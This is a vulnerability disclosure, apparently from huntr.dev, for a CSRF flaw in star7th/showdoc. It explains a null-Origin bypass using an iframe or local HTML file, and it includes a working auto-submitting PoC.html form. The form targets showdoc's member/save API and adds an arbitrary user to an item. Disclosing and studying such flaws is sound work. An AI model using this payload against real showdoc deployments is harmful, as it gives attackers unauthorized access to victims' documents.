Cross-Site Request Forgery (CSRF) in star7th/showdoc

2021-09-0610:18:48

amammad

www.huntr.dev

0.001 Low

EPSS

Percentile

31.2%

JSON

✍️ Description

With CSRF vulnerability Attacker able to add any member to for any item if users visit attacker website.

We can bypass the CSRF Protection if we put our payload on a iframe or a html file and send them to victim as after that the Origin header will be set to null and we can bypass CSRF protection.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari.

2.now you can check that member with email address test that already should registered before have access to item with id 1531601670203340.

// PoC.html

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://www.showdoc.com.cn/server/index.php?s=/api/member/save" method="POST"&gt;
      &lt;input type="hidden" name="item&#95;id" value="1531601670203344" /&gt;
      &lt;input type="hidden" name="username" value="test" /&gt;
      &lt;input type="hidden" name="cat&#95;id" value="0" /&gt;
      &lt;input type="hidden" name="member&#95;group&#95;id" value="0" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;